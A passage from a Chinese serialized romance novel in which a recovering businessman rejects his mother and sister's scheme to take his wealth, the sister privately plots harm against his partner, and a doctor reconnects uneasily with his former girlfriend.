“后来,我才知道,是许初音,我对她很失望,但她好像疯魔似的,让人将我绑起来,给我注射了不明的药物,从那儿后,我就不省人事了,后面的事情就不清楚了。” 温疏亦听的心脏骤紧。 幸好,许初音没有一气之下,直接把盛珽妄弄死。 “你当时不应该急着回国,而是把她安抚好。” 盛珽妄无奈摇头,“她已经不是以前的许初音了,她不知道跟谁学了一些巫术,人疯癫的时候,会从楼上往下跳,也会割腕取自己的血喝……” 盛珽妄没见到她时,以为她只是有点精神分裂。 见到了她,那简直就是走火入魔。 “……我对许叔很抱歉,我无法再履行我对他的承诺了,我已经放弃许初音了,我当时走的时候,已经决定,以后无论她是死是活,我绝不再见她一面,没想到出事。” 对于许初音,他做到仁至义尽了。 对于温疏亦,他亏欠得太多。 “疏亦。”他握紧了她的小手,有一些动情,“以后,我的世界里,只会有你,不会再有别的女人分我的心,相信我。” “我相信你什么?” 温疏亦抽出自己的小手,淡淡地开始批判他,“你提交结婚申请,你拿结婚证这些事情,你哪件告诉我了?盛珽妄,这些事情,你为什么偷偷摸摸地做?你在怕什么?” “我……”这些事情,他好像无法解释,“……你,怎么知道的?” “我要是不知道,你打算一直不跟我讲?”她自己背着一个已婚的身份,自己都不知道,“盛珽妄,你这个人,真的很不诚实。” 盛珽妄是挺抱歉的。 但他认定了她,这辈子,就不会再放开手。 “虽然结婚证是我偷偷领的,但是求婚,婚礼,我一样都不会少,你就……原谅我,好不好?” “看你表现吧。” 温疏亦没同意,也没有拒绝。 盛珽妄心情不错。 …… 盛珽妄病情好转。 温疏亦也想好好陪陪儿子。 傍晚的时候。 她带哆哆离开了医院。 温疏亦前脚刚走。 汤凤玉和李贞贞就来到了盛珽妄的病房。 “儿子,你好些了吗?”汤凤玉眼眶子浅,看到自己将来的依靠变成这样,心里很不是滋味,“阿稷,你放心,以后妈妈来照顾你,妈妈绝对不让你吃一点苦。” 李贞贞从包里拿出一份财产转让协议。 将汤凤玉拉开,“妈,赶紧让哥先把这个签了。” 汤凤玉擦了擦脸上的泪。 将协议递到了盛珽妄的面前,“儿子,你把这份协议签了,以后啊,咱们跟温疏亦就一刀两断,好不好?” 第94章 趁他傻,要他钱 汤凤玉和李贞贞依然当盛珽妄是个痴傻的人,一左一右围着他,眼里尽是急不可耐的算计。 她们像哄三岁孩童,将笔硬塞进盛珽妄手里。 李贞贞尤其焦躁,一双眼睛瞪得通红,血丝都漫了上来。 她声音刻意放软:“哥,你听话,把名字签了。以后我和妈天天陪着你、照顾你,肯定比温疏亦伺候得周到一百倍!” 汤凤玉忙在一旁帮腔,“是啊儿子,我们才是你血脉相连的亲人。那个温疏亦心眼多得很,万一趁你病着卷走家产,再去外面养些不三不四的人,你到时候哭都来不及啊!” 盛珽妄握着笔,垂眸看着摊在眼前的协议,久久没有动作。 这份协议的受益人,写的是李贞贞的名字。 他真的有点想笑了。 连握笔的动作,都透出一股子戾气。 李贞贞等不及了。 她索性上前,一手压住盛珽妄的手背,另一手按住纸张,“哥,快签吧!签了之后,我和妈不光照顾好你,连你儿子我们也会照顾好的。你放心,咱们家的骨肉,绝不会让温疏亦带走……” 盛珽妄眉心一骤。 抬手,力道又狠又重,直接将她狠狠掼了出去。 李贞贞惊叫,跌地一声闷响。 “贞贞!”汤凤玉吓到了,扑过去扶起女儿,“摔着没有?疼不疼?” “没、没事……”李贞贞只当是盛珽妄这个傻子,发起疯来没轻没重,心里反而更急,“妈,别管我,先让哥签字!再拖下去温疏亦回来就糟了!” 汤凤玉回头看向盛珽妄。 他依旧坐在原处,没说话,整张脸寒得像覆了层霜,眼里凝着的冷意,竟让她莫名心慌。 她强挤出一丝笑,柔声试探:“儿子,你是不是生妈的气了?妈跟你保证,绝对不会丢下你不管的。你想想你的钱给了你妹妹,她指定比温疏亦要可靠,你先签了字,以后什么都好说,好不好?” 盛珽妄忽然笑了。 笑意未达眼底,反而衬得眸色更厉。 他伸手,捏住那几页协议,慢条斯理地,一下,又一下,当着她俩的面,将纸张撕得粉碎。 冷眸里盛满了风雪般的睨向二人,“我还没死呢,就想要我的财产?你们是我的家人?是我哪门子的家人?” 他嗓音沉得骇人。 汤凤玉和李贞贞一对视,似乎明白了什么。 二人不约而同地,往后退了两步。 “你,儿子,你是不是好了……”汤凤玉嘴唇哆嗦,话都说不完整。 “趁我病着,抢我家产,赶我妻子,还想拿捏我儿子……”盛珽妄从病床上,缓缓起身,压迫感如山倾来,“你们是不是觉得,我永远只能傻着?还是说,我傻了,就保护不了我的爱人和孩子了?” 盛珽妄怒了。 像一头掠食的猎豹。 汤凤玉想解释,尝试着靠近盛珽妄,“儿子,妈不是这个意思,你误会我们了,我们这样做,其实也是为了你好,为了保全你辛苦赚下的家产,我们没有别的意思,真的没有……” “为我好?” 盛珽妄低低重复这三个字,忽地抬手指向门口,眼中最后一丝温度褪尽。 “说得跟真的一样。” “我不需要。” “滚。” “马上给我滚,不要让我再见到你们。” 汤凤玉和李贞贞没得逞,连滚带爬地走了。 刚好张纶过来。 看着二人如此的狼狈,似是猜到了什么,忙快步走进了病房。 “三爷。” 他看着一地的纸屑,忙弯身捡起来看。 拼凑的字里,清晰地写着财产赠予。 “三爷,这是……”张纶想到母女二人,“……不会是……你的母亲和妹妹,想让你把财产全部过继给她们吧?” 盛珽妄挺失望的。 在他将要内心接纳母亲的时候,她竟然要在他生病的时候,做这种事情。 不爱就是不爱。 或许这一辈子,母爱都与他无缘了。 “张纶,我要立一份遗嘱。” 张纶震惊,“三爷,您还这么年轻,立的什么遗嘱啊。” “年轻不代表活得久。”他用三十年的寿命,换温疏亦活着,他能再活几年,他心里还真没底,“我得在我活着的时候,把温疏亦和哆哆安排好,免得等我死了,被别人欺负。” “三爷,您的病这不是已经好了,您这样急着立遗嘱,让温小姐知道了,她也会难过的。” 张纶心里不好受。 遗嘱这种东西,听起来就不吉利。 但盛珽妄执意。 他只好找来了律师。 立完遗嘱后,他将遗嘱交给了张纶,去银行开了个保险柜。 没有后顾之忧了。 他活几天算几天吧。 …… 李贞贞不甘心。 这到嘴的鸭子飞走了,以后哪还有机会,拿到盛珽妄的钱。 “妈,咱们就这么失败而归,岂不是便宜了温疏亦那个贱货。”李贞贞咽不下这口气,“上次没能弄死这个贱货,是她命大,这次……” 汤凤玉听得心脏发颤。 她抓着女儿的胳膊,劝她,“算了贞贞,本来那钱也是你哥赚的,与我们无关,你别再做伤天害理的事情了,这么多年,没有你哥,我们不也活得好好的。” “好?”李贞贞认为汤凤玉是糊涂了,“我们哪里过得好了?从我记事开始,我就没有过过一天好日子,要不然,我也不会去卖,妈,你还想让我继续回那种地方上班吗?” 汤凤玉不想。 可她哪有办法去左右盛珽妄的想法。 杀人是犯法的。 杀了温疏亦,还有赵疏亦,孙疏亦,女人是杀不光的。 而李贞贞的命只有一条。 “贞贞,妈妈不想让你再出去卖,但是我们不要再伤害温疏亦了,她这个人虽然冷淡一些,但她又没有害我们,杀了她,你也要偿命的。” “妈,上次我做的事,哪有人发现了。”李贞贞以前就杀过人,她不觉得这是一件多么困难的事情,“妈,制造一场意外,太简单了,没人会怀疑到我头上的。” “不行,妈不能再让你去做这种事情了。” 汤凤玉不同意。 李贞贞听得心烦,“你不让我去杀温疏亦,那你给我钱,你有钱吗?妈,我们现在就是个穷光蛋,我也想过上好日子,我也想纸醉金迷地活着,你懂不懂啊。” “我,我可以去跟你哥要,他会给的,会给的。” “他会给什么呀。”李贞贞推开母亲,“他要是会给,就不会赶我们滚了,他现在心里,根本没有你这个妈,更不提我这个来路不明的妹妹了。” 第95章 校园爱情,最扎心 “不过……”李贞贞又想到了另外一个办法,“……那就是找个女人去勾引我哥,然后敲诈他一笔,也是来钱的路子。” 汤凤玉听着这些。 头皮发麻。 盛珽妄不管怎么说,也是她的儿子。 哪有妈妈处心积虑的,要害自己儿子的。 “贞贞,咱们缺钱,就跟你哥好好说,他一定会给咱们的,咱们已经做了一次错事了,不能再这样了。” “好了妈,你什么也不懂。”李贞贞已经找律师调查过了,盛珽妄的财产和国家给的奖励,根本不是常人能想象的,“他现在富可敌国,给我们点花,怎么了?犯了天条吗?” “那也得他自愿不是吗?” 汤凤玉想再劝劝女儿。 李贞贞已经不想听了。 “行了,我有我的办法,不说这个了。” 李贞贞负气走了。 …… 盛珽妄没有再回阳关大道的家。 而是带着温疏亦和小哆哆,回了新买的那幢别墅。 房子更大了。 还有漂亮的花园。 王婶也过来帮忙,家里的下人也多了。 盛珽妄攒了个局。 叫来了顾临和叶棠。 他并没有邀请姜晚,但顾临还是将她带来了。 这让叶棠很下不来台。 所以……后来,她又叫来了宋复礼。 四人局,变成了六人局。 温疏亦,对姜晚和宋复礼都不熟悉。 现场气氛……怎么讲呢,有点……诡异。 “疏亦,这是送你的礼物,第一次到家里来,也不知道你喜欢什么,就带了一些阿杜家的糕点,希望你喜欢。” 姜晚长的温柔乖巧,说话也甜腻。 温疏亦伸手接了过来,客气道谢,“谢谢你啊,其实不用这么客气的。” “不客气的,我听顾临说,你和盛总要结婚了,要不,我们办个集体婚礼吧?”她扭头看向顾临,征求他的意见,“行吗?顾医生。” 姜晚的语气,像极了撒娇。 她的身体紧紧的靠在顾临的身上,软糯得像一只小猫咪。 一旁的叶棠,嗤了句,“集体婚礼好啊,我和复礼也报个名,到时咱们三对,肯定热闹。” 宋复礼只是尴尬的笑笑。 顾临的脸色,难看得厉害。 姜晚抱着顾临的胳膊,扭着身子,继续撒娇,“顾临,你觉得怎么样嘛。” “挺好的,叶总不是说了,热闹。” “那咱们就这么定了。”姜晚的心情,好极了。 她帮着温疏亦准备烤肉的架子。 宋复礼和盛珽妄在谈事情。 叶棠坐在遮阳伞下,指尖轻抵着杯脚,慢悠悠晃着杯中红酒。 她有些失神。 望向不远处人工喷泉的眼神中,疏淡得像在看一片虚无。 顾临走过来,拉开她身旁的藤椅坐下。 “不是早就应该办婚礼了?”他声音里透着刻意装出的随意,“怎么拖到现在?” “复礼忙。”她答得简短。 “是他忙,还是不想娶你了?”顾临唇角勾起一抹笑,那笑里像带了抹倒刺,“男人真想娶一个女人,一分钟也等不了。我没记错的话,这时间不短了吧?” 他的话里还残留着当年的脾气。 那种被辜负后的不甘心。 还似乎在燃烧着。 叶棠淡淡转眸,目光落在他侧脸上。 时光似乎没在他身上留下太深的痕迹,他还是那样,擅长用轻笑掩盖认真,用挑衅掩藏在意。 她和他是彼此的初恋。 叶棠至今记得他们的第一次见面。 那天下着很大的雪,校园里白茫茫一片,积雪厚得能没过脚踝。 她刚在图书馆门口的斜坡上摔了一跤,疼得发麻。 看着不断有人滑倒又爬起,她只能立在一旁,吓得寸步难行。 顾临骑着一辆小电驴,慢悠悠晃过来。 车子在她面前停下,头盔罩推上去,露出一双带着笑的眼睛。 “同学,等人啊?”他呼出一团白气,“等男朋友?” “没有男朋友。”她语气不太好,摔疼的尾椎骨让她整个人,烦躁得厉害,“你有事吗?” “那你现在有了。”他笑着拍了拍后座,很真诚地说,“上来,送你去医务室。这车轮胎防滑。” 他又指了指自己伸长的腿,“外加人工辅助刹车,放心,摔不着你。” 那时的叶棠,觉得这人有点神经质。 或许是他笑得太过坦荡,或许是她真的不想再摔一次,她竟真的侧身坐了上去。 小电驴缓缓启动,她在后座攥着他外套的衣角,风雪扑在脸上,却意外地不觉得冷。 后来他就总“不经意”地出现在教学楼拐角、食堂门口、宿舍楼下。 他总是那句“顺路,捎你一段”,然后载着她穿过落叶纷飞的林荫道、掠过盛夏鸣蝉的午后、轧过秋天金黄的银杏大道。 小电驴后座那么窄,她却觉得比任何地方都安稳。 他们自然而然地在一起了。 校园恋爱简单得像透明糖纸包裹的水果糖,甜得纯粹,亮得晃眼。 他会在晚自习后带她去吃校门口的热粥,会把冻红的手塞进他外套口袋,会在星空下说些幼稚却动人的誓言。 那段时光,至今回想起来,美好得像一场过分逼真的梦,连呼吸的空气都带着香甜。 可惜啊。 这个泡沫,早就碎地,不知所踪。 叶棠收回飘远的思绪,浅浅垂眸,目光落在自己空荡荡的无名指上。 “是啊,宋复礼根本不想娶我。”她开口,声音轻得像叹息,“我注定是个会被抛弃的人。毕竟……” 她抬起眼,看向顾临,嘴角弯起一个极淡的弧度,“我抛弃过别人,不是吗?天道好轮回而已。” 顾临唇角的嘲笑骤然僵住。 那抹还没来得及收回的弧度,凝固在脸上。 脸色变了,眼底也翻涌起一些复杂的东西。 心疼。 尴尬。 又或是难堪? 他移开视线,喉结轻轻滚动了一下,“你还知道自己天道好轮回,这就是所谓的,不是不报,时候未到。” “我有了报应,你是不是特高兴?” 她笑着,调侃中透出不该有的破碎。 顾临扭过脸来,看向叶棠。 四目相对。 她发红的眼眶,还是刺痛了他的眼睛,别开视线,他淡淡的回了句,“当然。” “顾临,遗憾吗?说真的。” 顾临轻笑,“一个被抛弃过的人,哪里会有遗憾,有点报复心,倒是真的。” “所以,你去爱别人了?” 她觉得姜晚也不错,只是不适合顾临。 她太了解顾临了。 顾临不喜欢这种性格的女孩子。 “而且,口味也变了,她真的适合你吗?” 他淡淡瞥向她,“你指哪方面?尺寸吗?” 顾临故意让叶棠难堪。 他成功了。 叶棠神色失去了淡然,声音发冷,“我不想听你们床上的事情,你别太有分享欲。” 第96章 你和他,住在我买的房子里? 顾临笑了。 那笑容里带着一丝得逞般的意味,却又有道不明的虚空。 他吐出两个字,轻飘飘的。 “行吧。” 叶棠的心情糟透了。 多年职场的历练,让她早已学会将情绪压实,喜怒不形于色是她最习惯的姿态。 可偏偏在面对感情,面对这个曾与她共享过爱情的男人时,还是失态了。 她站起身,仰起头,将杯中的红酒灌进喉咙。 有一丝的灼烧感。 似让心口那股烦闷更盛。 她放下空杯,没有再看顾临,径直走向不远处正与盛珽妄交谈的宋复礼。 “复礼,我有点不太舒服,先回去了。”她声音很轻,带着些许的抱歉,“珽妄,复礼的项目,能帮得上的,还请你多帮帮忙。” 盛珽妄:“你还好吧?” 宋复礼这时也透出了担心:“不舒服?哪里不舒服?我陪你去医院看看。” 他伸手想碰她的额头试体温。 叶棠微微偏头,避开了他的手,“不用,可能是酒精上头,回去睡一觉就好了。” 她挤出一个浅淡的笑容,“你难得和珽妄有机会聊聊项目上的事,不用担心我,我可能就是最近工作太忙了,有点累。” 她又向旁边的温疏亦点头示意,算是告别,然后拿起自己的手包,转身离开。 顾临坐在原处,目光追随着她的身影穿过草坪,越走越远。 刚才那点报复性的快感早已烟消云散。 取而代之的是一种说不清的焦躁。 姜晚走过来,微笑着说今天要烤制的食材,“我和疏亦弄得差不多了,一会儿,你帮我们烤吧。” “我……突然有点事,先离开一下。” 顾临起身要走。 被姜晚伸手拉住,“是很急的事情吗?顾临,你这样丢下我,好吗?” “我处理完事情,还会回来接你。” 他抬手,敷衍地揉了揉姜晚的头顶,“你乖乖的,在这儿等我。” “哦。” 姜晚虽不情愿。 但也没有强求。 顾临几乎是用跑的,追了出去。 叶棠刚坐进驾驶室,甚至没来得及关上车门,一只手臂就抵在了车门框上。 顾临微微喘着气,俯身看着她,语气又急又冲:“你疯了?喝了酒还敢开车?是嫌自己命长,还是嫌别人命长?” 叶棠动作一顿。 被他这么一吼,混沌的脑子瞬间清醒了几分。 她看着方向盘,刚才确实……犯糊涂了。 “让开。”她语气不算好。 推开车门,从车里下来,夜风一吹,她深呼了一口气。 拿出手机,指尖滑动着寻找代驾软件。 顾临将手伸过来,将手机从她指尖抽走。 叶棠抬头,对上顾临的眼睛。 “这个活,”他晃了晃她的手机,语气平淡,“我接了。” 他堂而皇之地坐进驾驶室。 将座椅重新调好。 系好安全带,然后看向一直站着没动的女人,“上车啊,傻愣着干什么?我这个代驾,可没有抱着上车的服务。” 顾临嘴一惯毒。 叶棠跟他没法生气。 拉开后车门,刚准备上车,顾临带着嘲弄的声音,再次响起,“还真把我当司机了?叶棠,你是当老板当习惯了,把别人都当牲口了吧?” “顾临,你屁话怎么这么多?” 叶棠重重关上车门。 转身从副驾驶上了车,没好气地系好安全带,“一个合格的代驾,就是把嘴巴闭紧了。” “我就这样,我现在是在帮你,你跟好心人说话客气点。” 叶棠气笑了,“谁让你帮了?我可以叫代驾,实在不行,我可以打车,你有英雄救美情结吗?” “我倒是英雄没错,你是美吗?” 顾临嫌弃的目光,将叶棠从头扫到脚。 叶棠真的想揍人了。 指尖紧紧抓着安全带,“还走不走了?” 车子打火。 这个时间,路上的车很多,堵车堵得厉害。 二人无话可谈。 只有车机的音乐声,若有似无地响着。 不知道过了多久。 顾临瞥过眼神,淡淡地问叶棠,“回国这么久了,是不打算回去了?” “对啊。”明知故问的。 “当年你离开那劲头,我还以为你,这辈子都不会再回来。”他轻笑。 叶棠无语,“我只是出去进修,不是拿了绿卡。” “没交几个洋鬼子男朋友?”他像是时刻等着嘲讽她一般的,“感受一下异域风情。” “不想感受,怕一对比,觉得以前吃得不太好。” 嘲讽,谁不会。 阴阳怪气,谁又不会呢。 叶棠翻了个白眼。 顾临也真被气到了。 一脚油门踩了出去,差点撞到前面的车屁股。 叶棠撑着胳膊,望向车窗外面。 一路无言。 车子驶入叶棠居住的小区地下车库。 停稳后,他环视着周遭熟悉又陌生的环境,眼神里透出一种复杂的怪异。 “你……”他迟疑着开口,“怎么还住这儿?” 叶棠正解安全带的手顿了一下,唇边浮起一抹极淡的、近乎无语的笑。 “我不在这儿住,应该在哪儿住?” 她推开车门,一只脚踏出车外,才补了一句,“这可是顾医生当年‘送’我的房子。不花钱的房子,我不住,难不成出去租房住?” 顾临的脸色瞬间沉了下去,握着方向盘的手指收紧。 “你和宋复礼……”他几乎是一字一顿,又带着一些咬牙切齿在里面,“一起住在我买给你的房子里?” 妈的。 杀人诛心,也不过如此。 叶棠下车,关好车门。 微微扬起下巴,“是啊。怎样?” “你……”顾临胸口急剧起伏了一下,他猛地推开车门,一步迈下了车。 吃气般的,将车门摔上。 转身就想朝反方向走。 走了两步,他又硬生生刹住。 气。 太气了。 这口气,梗在喉咙里,上不去也下不来,烧得他心肺生疼。 他咬了咬牙,转身,追上了已经走向电梯间的叶棠,紧跟着她挤了进去。 叶棠看着站在她身侧的男人,讥诮嘲讽:“尾随我干什么?劫财还是劫色?” “我想看看,这房子换了男人住,是不是就不一样了。” 叶棠:…… 她简直要被他气笑了。 这男人的胜负欲还真是从四面八方来,幼稚得可笑。 电梯到达。 顾临就抢先一步迈了出去。 他熟门熟路地走到门前,抬手就往密码锁上按去。 好像记忆中的那串数字,并没有遗忘。 反而在此时,格外的清晰。 “嘀”的一声轻响,门锁绿灯闪烁,“门已打开” 门,开了。 顾临的手僵在半空,整个人愣住。 门,真的开了。 他难以置信地回头,看向身后慢一步走来的叶棠,“你……你怎么没改密码?” 第97章 女人,何必拘泥于男人 叶棠错过他身边,径直走进玄关,低头换鞋。 顺手将挎包和大衣挂在一旁的衣帽架上。 “我记性不好,”她背对着他,声音听不出任何情绪,“改了容易忘。” 轻描淡写,却在顾临的心里激起千层浪。 他站在门口,一时不知道该进去,还是该离开。 熟悉的暖黄的灯光。 淡淡浅浅落到他的肩头。 空气里熟悉的香气,没有丝毫的商量,直扑向他的鼻腔。 幸好。 他没有闻到任何属于另一个男人的味道。 最终。 他还是走了进去。 客厅的格局未变。 米色的沙发,白色茶几,墙角那盏造型别致的落地灯,还有墙面上他们一起在跳蚤市场淘来的抽象画…… 甚至连沙发扶手上随意搭着的浅灰色盖毯,都还是原来那条。 时光仿佛在这里停滞了。 没有重新装修的痕迹,家具家电一如往昔,都是当年他和叶棠跑了无数个家居市场,一件一件精心挑选、搬回来,共同布置的。 那些带着兴奋和憧憬的午后,那些关于未来生活的琐碎讨论,那些依偎在沙发上规划着要在阳台种什么花的记忆…… 如同潮水般猝不及防地涌上来。 情绪猛烈上涌,冲得他鼻腔发酸,喉咙发紧。 他站在那里,像个木偶一般的,看着这个几乎保留了所有过去痕迹的空间,忽然觉得,刚才在盛珽妄的家里,以及在车上那些尖锐的质问和怒气,都变得无比苍白可笑。 他现在几乎可以断定。 宋复礼不在这儿住。 不知不觉中,他的心情竟然莫名其妙地在变好。 “不介意给我冲杯咖啡吧。” 他坐在了,从前,他喜欢坐的那个宽大的单人沙发里。 叶棠淡淡地扫了他一眼。 没说别的,给他冲了一杯美式。 他接过来咖啡杯,一时有些怔神。 小猫造型的咖啡杯,是他送给叶棠的生日礼物,她还……保留着。 “你这个人挺念旧的啊。”他心口澎湃,说出的话,却透出讥诮。 叶棠弯身坐到了他的对面,不介意地笑笑,“不是念旧,是懒,懒得换而已。” 两个人都心知肚明。 大家重新陷入了,对那段已经逝去的回忆当中。 “怎么家里,一张你和宋复礼的合影都没有?婚纱照拍了吗?你以前不是最爱拍照片,总是嫌弃我拍得不好,为此,还给我报了个班,让我学摄影。” 顾临也不知道自己怎么,就突然说了这些。 有点尴尬。 也有点后悔自己嘴快。 叶棠淡淡,“以前年轻啊,皮肤好,满满的胶原,自然是想留住美好的样子,现在不一样了,三十多了,老了,也没什么好拍的了。” 顾临抬眸看向她。 叶棠没怎么变。 唯一变的,或许就是更漂亮了。 “怎么?年纪大了,就不自信了?” “可不是吗?”她哂笑着,像是对自己的嘲弄,“男人永远喜欢漂亮的,年轻的姑娘,不会选择我这种年纪的。” “你是为了男人活的?宋复礼不嫌弃不就行了。”顾临放下咖啡杯,有些不满意地说,“现在都喝速溶咖啡了?以前给你买的咖啡机,扔了?” “我说了,我这个人挺懒的,能凑合就凑合,你要喝不惯,可以去你的女朋友家里,我想,她有的是耐心,照顾你的感受。” 她确实是累了。 一段感情,扔下的时候,就应该想到,再挽回时,付出十倍的努力,也不见得有效果。 顾临很高傲的。 不是她几句抱歉,就可以再回到她的身边。 仔细想来,没有感情也无所谓。 她还有事业,等过两年,她去精子库里挑上两个不错的精子,孕育一对双胞胎,照样可以过完美的人生。 女人,何必拘泥于男人。 “我累了,去洗澡了,你走的时候,记得把门关好。” 叶棠回了卧室。 门没关。 很快听到浴室里水声传了出来。 顾临不否认,自己现在的心里很乱。 手机响了一声。 是姜晚的信息。 [顾临,我在这儿好孤单,要不你来接我吧。] 顾临握着手机,指尖敲了行字,[我这边有点急事,你先自己打车回去吧。] [可是你说过,你还会回来的,你到底去哪儿了?] 这种质问,顾临很不喜欢。 以前,叶棠从来不过问他,但那时的他乖得像只小奶狗,就是去个厕所,也跟叶棠报备一下。 [我去哪儿还要跟你说?] 那头可能是感受到顾临生气了,忙发了句道歉的话,[我不是这个意思,我就是着急嘛,你知道的,我和盛总,温疏亦不熟,一个人在这儿,挺尴尬的。] [尴尬就打车回去。] [哦,知道了。] 手机扔掉。 耳边是淋浴的水声,淅淅沥沥。 他眼前甚至出现了幻象。 磨砂玻璃被温热雾气湿透下,那具若隐若现的身体。 疯了。 他真的是疯了。 顾临深呼吸,指尖深深陷进发根里。 抓了两下,太用力了,扯得头皮发麻。 不行。 他不能冲进去。 他会吓到她的。 他闭上眼,深呼吸,那些昔日的画面翻涌着,一侦一侦地在上演着。 叶棠专业上拔尖,但私生活上特别大大咧咧,像个没长大的孩子。 洗澡要么忘了拿拖鞋,要么忘了拿睡衣。 “顾临,给我拿一条干净的毛巾。” “顾临,我新买的沐浴露在门口柜上面,你帮我拿一下。” “顾临,拖鞋,拖鞋忘了穿了。” “顾临……” 他耳边是她呼唤他的声音。 喉结不自觉地滚动着。 像是在咽下这些回忆。 那时的叶棠,洗完澡,喜欢光着脚踩在地板上走来走去,家里经常湿漉漉。 他会一边皱眉说她,一边跟在她的屁股后面,将地板擦干净。 他愿意的。 他想一辈子跟在她屁股后擦地板。 听她的使唤。 可是…… 她却那样毫不犹豫地离开了他,去追求她的梦想。 他就像她日记本的其中一页,随手撕掉,扔了,毫不可惜。 他恨她,怨她。 决定,将她从他的世界里彻底抹掉。 可这房子…… 这房子里的每一件东西都在跟他作对。 连空气里漂浮的灰尘,都仿佛还沾着十年前的气息。 他想重新拥有她。 这个念头就这样,毫无防备地窜了出来。 可下一秒,现实告诉他,她要结婚了。 她要嫁给宋复礼。 她的心已经给别的男人了。 他何必自取其辱? 两种力量在他身体里拔河。 他被拉扯着,手背上绷紧的青筋,诉说着他的纠结。 浴室门开了。 叶棠走出来。 身上只裹着一条浴巾,白色的,长度勉强遮到大腿根。 头发湿漉漉地披在肩上,发梢还滴着水。 沐浴露的香气飘过来,是他曾经闻过无数次的橙兰的味道,十年了,她居然还用着同一款。 她看见他,愣了一下,眉头微微蹙起:“你怎么还没走?” 第98章 后悔他也不会吃回头草 顾临回过头。 目光落在她裸露的肩头,颈侧的曲线,和浴巾下那双笔直的小腿。 他不想看的。 可她就是这样随意的,出现在了他的面前。 “在一个男人面前,穿成这样,想勾引谁?” 他喉结滚烫,只要她肯说一句不好听的,他就会冲过去,将她摁在身下,做一些男女之事。 叶棠似乎看穿了他的心思。 转身找了件浴袍,将自己裹严实,“我以为你走了,所以才……你怎么还不走?等着我请你吃晚餐?我减肥不吃晚餐的。” “减成骷髅了,还减?”他胸口起伏的厉害。 指尖却在用力地克制着自己。 不行。 不能。 尽管,他的身体有一些丢脸的起了反应。 但他是个人,不是牲口,他能控制得了自己。 叶棠无语。 不想理人。 “我去睡了,你赶紧走吧。” 叶棠回了房间。 她累了,很快睡着。 顾临慢慢压下涌上来的火气后。 起身去卧室看了一眼。 随后将门关好,离开了叶棠的家。 好险。 他真的差一点就失控了。 这种男人的想法,似乎只有见到叶棠,才会有。 病了。 他真的是病了。 盛珽妄给他打来电话,“还回来吗?你的女朋友,已经离开了,看起来不太高兴的样子。” “宋复礼走了?” “走了。” “那你出来陪我喝两杯。” “好。” 顾临的心情不好。 盛珽妄也没说什么安抚他的话。 只是很理性地劝他想清楚,“你对叶棠还没有死心,而叶棠这次回来,摆明了就是想跟你重归于好,你一直端着,还找了姜晚,你是真的想跟姜晚有个结果,还是说为了气叶棠?” “谈不上气,姜晚人也不错,很听话,我觉得我们是适合的。”顾临抬手,饮光了杯中的酒。 盛珽妄也能理解。 合适在婚姻中,比爱情重要得多。 但没有爱情的婚姻,一地鸡毛也是肯定的。 “所以,你还是决定要跟姜晚结婚?” “暂时没有改变。”顾临嘴挺硬的,盛珽妄摇头,“别后悔就行。” 顾临笑了。 后悔? 后悔他也不会吃回头草。 他无法承受,再一次被抛弃。 “珽妄,我和叶棠是怎么分的手,你比任何人都清楚,她太自我了,我在她的人生中,不过是一页可以随时撕掉的纸,而不是她愿意紧紧握着的那支笔,我不想因为她的回头,再让自己去承受一次,未知的,无法承受的痛苦……” 他深呼吸,似乎在劝自己该放下时,就不要犹豫,“……大家岁数都不小了,玩感情的年纪过去了,踏实地找个可以托付终生的,过好余生的日子,不比什么都强。” 盛珽妄轻捻着指尖的酒杯。 淡淡说道,“曾经,我和你一样的想法,一度认为,自己握不住的感情,就是不属于自己的,可是最后往往啪啪打脸,这世上没那么多后悔药吃的。” “说得好像你现在大功告成了一样的。”顾临不得不给盛珽妄泼盆冷水,“温疏亦答应跟你在一起了?你那偷偷领的结婚证,没换成离婚证吧?” “至少,我还领了结婚证呢,她再怎么生气,我也不可能跟她换离婚证,追女人,靠的是耐心加甜言蜜语,刚好,我什么也不缺。” 盛珽妄自信满满。 顾临对于这种来源不明的自信,还是有话要说,“得了吧,我看温疏亦就不是好哄的主,她现在之所以跟你生活在一起,不过是因为你之前受了伤害,她大概率是把责任揽到自己头上了,至于,她心里到底有没有想跟你,真正成为夫妻……” 顾临似是想到了什么,坏兮兮的压低声音,“……你们现在住在一起,睡一张床吗?” 这话问到盛珽妄痛处了。 不仅没睡一张床。 还没睡一个房间。 “早晚的事情,急什么。” 顾临大笑。 前仰后合的,“盛珽妄啊盛珽妄,我还以为你多厉害呢,像人生导师似的,弄了半天,自己过得这么苦。” “你可真是不识好歹。” “我们啊……”顾临幸灾乐祸地举杯,饮下一口酒,“……就各顾各吧。” …… 海棠工作室。 报名了一个相亲网站组织的交友会。 只要是单身的,都可以参加。 温疏亦手里也有一份报名单。 她没什么意愿。 她已经答应了盛珽妄,给他机会。 再去相亲,有一些不地道。 下班的时候。 刚好她和叶棠坐同一班电梯下楼。 叶棠问起这事,“相亲会,你不去参加的对吧?” “不去了,你呢?”温疏亦觉得自己问了句废话,“你看我,都给忘了,你要和宋先生结婚的事情。” “你也信?”叶棠笑笑。 温疏亦:“啊?什么?” “我和宋复礼只是好朋友而已,说要跟他结婚,是为了气顾临的。” 温疏亦瞬间明白,“原来是这样的,那你这次要参加相亲会吗?” “这么好的机会,当然会去。”她听说了,这次是高端局,“我想看看有没有配得上我的高富帅,如果有看对眼的,闪婚也是可以的。” 温疏亦:……闪婚? 这多么风险有点大。 “叶总,现在的人,可不能看表面,前段时间,咱工作室的路米,相亲了个优质男,那条件简直没得说,后来发现,是个同性恋,还有艾滋病,把路米吓死了。” 温疏亦说的这事。 叶棠也听说过。 “谢谢你啊疏亦,我也这把岁数了,识人这方面,我觉得还是可以的,别担心。” 温疏亦点头,“嗯。” 二人聊着天。 一起走出电梯。 盛珽妄站在车边,冲温疏亦招手。 “叶总,那我先走了。” “好。” 叶棠冲盛珽妄颔首,算是打过招呼。 温疏亦坐进车里,跟他聊起了,公司组织相亲会的事情。 “你打算去相亲?”盛珽妄蹙紧额角。 温疏亦不知道他激动个什么劲,“我说我要去了吗?你干嘛?要吃人啊?” “你不去,你提这个干什么?这世上可没有那么多,像周贺正那么正派的人。” 盛珽妄提到周贺正,就觉得头大。 要不是他出事。 估计温疏亦和周贺正已经谈上恋爱了,现在正上头。 温疏亦无语,“你提周贺正干什么?人家当你是偶像,你当人家是情敌,你格局怎么那么小呢?盛珽妄,你是不是忘了,周贺正是救你的人,是你的恩人。” “他救了我,你怎么感谢他的?”盛珽妄好奇,猜测着温疏亦是不是给了什么承诺之类的,“说说看,我不生气。” 